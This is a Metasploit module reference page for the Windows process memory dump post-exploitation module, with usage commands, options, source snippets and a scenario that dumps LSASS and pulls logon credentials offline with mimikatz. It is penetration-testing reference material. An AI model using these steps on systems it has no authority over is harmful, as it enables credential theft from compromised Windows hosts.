Windows Process Memory Dump - Metasploit


This page contains detailed information about how to use the post/windows/gather/memory_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Process Memory Dump
Module: post/windows/gather/memory_dump
Source code: modules/post/windows/gather/memory_dump.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module creates a memory dump of a process (to disk) and downloads the file for offline analysis. Options for DUMP_TYPE affect the completeness of the dump. "full" retrieves the entire process address space (all allocated pages). "standard" excludes image files (e.g. DLLs and EXEs in the address space) as well as memory mapped files. As a result, this option can be significantly smaller in size.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/memory_dump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/memory_dump
msf post(memory_dump) > show options
    ... show and set options ...
msf post(memory_dump) > set SESSION session-id
msf post(memory_dump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/memory_dump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • PID: ID of the process to dump memory from

  • DUMP_PATH: File to write memory dump to

Knowledge Base


Vulnerable Application


This module dumps the memory for any process on the system and retrieves it for later analysis. The user must have sufficient permissions to read the memory of that process. Low-privilege users should be able to read any of their own processes. High-privilege users should be able to read any unprotected process.

This module only works on a Meterpreter session on Windows.

Verification Steps


  1. Start msfconsole
  2. Get meterpreter session on a Windows host
  3. Do: use post/windows/gather/memory_dump
  4. Do: set SESSION <session id>
  5. Do: set PID <process id>
  6. Do: set DUMP_PATH <path on remote system>
  7. Do: set DUMP_TYPE <standard|full>
  8. Do: run
  9. You should be able to see that the module has dumped the process to a file and starts downloading it.
  10. You should be able to see, whether the module succeeds or fails, that the file on the remote system has been deleted.

Options


DUMP_PATH

The path that the memory dump will be temporarily stored at. This file is then downloaded and deleted at the end of the run. This file should be in a writable location, and should not already exist.

PID

The ID of the process to dump. To find the PID, in your Meterpreter session, type ps. To find a process by name, type ps | <process name>.

DUMP_TYPE

Two options are provided for creating a memory dump:

  • Full

This option retrieves the entire memory address space, including all DLLs, EXEs and memory mapped files. For dumping LSASS for offline analysis, this option seems to be preferable. However, the file size can be significantly larger than the Standard option.

  • Standard

This option retrieves most data from the process, with the exception of DLLs, EXEs and memory mapped files. As a result, some analysis tools may have trouble with automated analysis, however any sensitive information such as passwords which are stored in memory should be part of this dump. This data could possibly be retrieved using a tool such as strings. The file size should be significantly smaller than the Full option.

Scenarios


Dumping lsass

Retrieving lsass (after getsystem)

meterpreter > ps | lsass
Filtering on 'lsass'

Process List
============

 PID  PPID  Name       Arch  Session  User                 Path
 ---  ----  ----       ----  -------  ----                 ----
 700  536   lsass.exe  x64   0        NT AUTHORITY\SYSTEM  C:\Windows\System32\lsass.exe

meterpreter > 
Background session 4? [y/N]  
msf6 post(windows/gather/memory_dump) > set pid 700
pid => 700
msf6 post(windows/gather/memory_dump) > run

[*] Running module against DemoPC
[*] Dumping memory for lsass.exe
[*] Downloading minidump (5.31 MiB)
[+] Memory dump stored at /home/user/.msf4/loot/20210505174955_default_192.168.XXX.XXX_windows.process._647943.bin
[*] Deleting minidump from disk
[*] Post module execution completed

Then in mimikatz (offline):

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::minidump c:\Users\user\desktop\20210505175519_default_192.168.XXX.XXX_windows.process._162777.bin
Switch to MINIDUMP : 'c:\Users\user\desktop\20210505175519_default_192.168.XXX.XXX_windows.process._162777.bin'

mimikatz # sekurlsa::logonPasswords
Opening : 'c:\Users\user\desktop\20210505175519_default_192.168.XXX.XXX_windows.process._162777.bin' file for minidump...

Authentication Id : 0 ; 280858 (00000000:0004491a)
Session           : RemoteInteractive from 2
User Name         : user
Domain            : DemoPC
Logon Server      : DemoPC
Logon Time        : 5/05/2021 3:15:10 PM
SID               : S-1-5-21-920577323-754201681-977916534-1001
        msv :
         [00000003] Primary
         * Username : user
         * Domain   : DemoPC
         * NTLM     : (redacted, but verified)
         * SHA1     : (redacted)
        tspkg :
        wdigest :
         * Username : user
         * Domain   : DemoPC
         * Password : (null)
        kerberos :
         * Username : user
         * Domain   : DemoPC
         * Password : (null)
        ssp :
        credman :
        cloudap :

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/memory_dump post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/memory_dump

msf6 post(windows/gather/memory_dump) > show info

       Name: Windows Process Memory Dump
     Module: post/windows/gather/memory_dump
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  smashery

Module stability:
 crash-safe

Compatible session types:
  Meterpreter

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DUMP_PATH                   yes       File to write memory dump to
  DUMP_TYPE  standard         yes       Minidump size (Accepted: standard, full)
  PID                         yes       ID of the process to dump memory from
  SESSION                     yes       The session to run this module on.

Description:
  This module creates a memory dump of a process (to disk) and 
  downloads the file for offline analysis. Options for DUMP_TYPE 
  affect the completeness of the dump. "full" retrieves the entire 
  process address space (all allocated pages). "standard" excludes 
  image files (e.g. DLLs and EXEs in the address space) as well as 
  memory mapped files. As a result, this option can be significantly 
  smaller in size.

Module Options


This is a complete list of options available in the windows/gather/memory_dump post exploitation module:

msf6 post(windows/gather/memory_dump) > show options

Module options (post/windows/gather/memory_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DUMP_PATH                   yes       File to write memory dump to
   DUMP_TYPE  standard         yes       Minidump size (Accepted: standard, full)
   PID                         yes       ID of the process to dump memory from
   SESSION                     yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/memory_dump post exploitation module:

msf6 post(windows/gather/memory_dump) > show advanced

Module advanced options (post/windows/gather/memory_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/memory_dump module can do:

msf6 post(windows/gather/memory_dump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/memory_dump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/memory_dump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

40:	  end
41:	
42:	  def get_process_handle
43:	    target_pid = datastore['PID']
44:	    result = session.railgun.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, target_pid)
45:	    error = result['GetLastError']
46:	    unless error == 0
47:	      fail_with(Msf::Module::Failure::PayloadFailed, "Unable to open process: #{result['ErrorMessage']}")
48:	    end
49:	    result['return']
50:	  end

Unable to open process: <ERRORMESSAGE>


Here is a relevant code snippet related to the "Unable to open process: <ERRORMESSAGE>" error message:

42:	  def get_process_handle
43:	    target_pid = datastore['PID']
44:	    result = session.railgun.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, target_pid)
45:	    error = result['GetLastError']
46:	    unless error == 0
47:	      fail_with(Msf::Module::Failure::PayloadFailed, "Unable to open process: #{result['ErrorMessage']}")
48:	    end
49:	    result['return']
50:	  end
51:	
52:	  def create_file

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

58:	      nil,
59:	      'CREATE_ALWAYS',
60:	      0,
61:	      0
62:	    )
63:	    error = result['GetLastError']
64:	    unless error == 0
65:	      fail_with(Msf::Module::Failure::PayloadFailed, "Unable to create file: #{result['ErrorMessage']}")
66:	    end
67:	    result['return']
68:	  end

Unable to create file: <ERRORMESSAGE>


Here is a relevant code snippet related to the "Unable to create file: <ERRORMESSAGE>" error message:

60:	      0,
61:	      0
62:	    )
63:	    error = result['GetLastError']
64:	    unless error == 0
65:	      fail_with(Msf::Module::Failure::PayloadFailed, "Unable to create file: #{result['ErrorMessage']}")
66:	    end
67:	    result['return']
68:	  end
69:	
70:	  def dump_process

Could not find process <TARGET_PID>


Here is a relevant code snippet related to the "Could not find process <TARGET_PID>" error message:

73:	    client.sys.process.processes.each do |p|
74:	      if p['pid'] == target_pid
75:	        name = p['name']
76:	      end
77:	    end
78:	    fail_with(Msf::Module::Failure::PayloadFailed, "Could not find process #{target_pid}") unless name
79:	    print_status("Dumping memory for #{name}")
80:	
81:	    if datastore['DUMP_TYPE'] == 'standard'
82:	      # MiniDumpWithDataSegs | MiniDumpWithHandleData | MiniDumpWithIndirectlyReferencedMemory
83:	      # | MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithThreadInfo

Minidump failed: <ERRORMESSAGE>


Here is a relevant code snippet related to the "Minidump failed: <ERRORMESSAGE>" error message:

98:	                                                 dump_flags,
99:	                                                 nil,
100:	                                                 nil,
101:	                                                 nil)
102:	      unless result['return']
103:	        fail_with(Msf::Module::Failure::PayloadFailed, "Minidump failed: #{result['ErrorMessage']}")
104:	      end
105:	    ensure
106:	      session.railgun.kernel32.CloseHandle(process_handle) if process_handle
107:	      session.railgun.kernel32.CloseHandle(file_handle) if file_handle
108:	    end

Only meterpreter sessions are supported by this post module


Here is a relevant code snippet related to the "Only meterpreter sessions are supported by this post module" error message:

121:	    end
122:	  end
123:	
124:	  def run
125:	    if session.type != 'meterpreter'
126:	      print_error 'Only meterpreter sessions are supported by this post module'
127:	      return
128:	    end
129:	
130:	    print_status("Running module against #{sysinfo['Computer']}")
131:	

Here is a relevant code snippet related to the "Dumping current process is not recommended (can result in deadlock). To run anyway, set ForceExploit to True" error message:

130:	    print_status("Running module against #{sysinfo['Computer']}")
131:	
132:	    pid = datastore['PID']
133:	
134:	    if pid == (session.sys.process.getpid) && !datastore['ForceExploit']
135:	      fail_with(Msf::Module::Failure::BadConfig, 'Dumping current process is not recommended (can result in deadlock). To run anyway, set ForceExploit to True')
136:	    end
137:	
138:	    dump_process
139:	  end
140:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • smashery

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.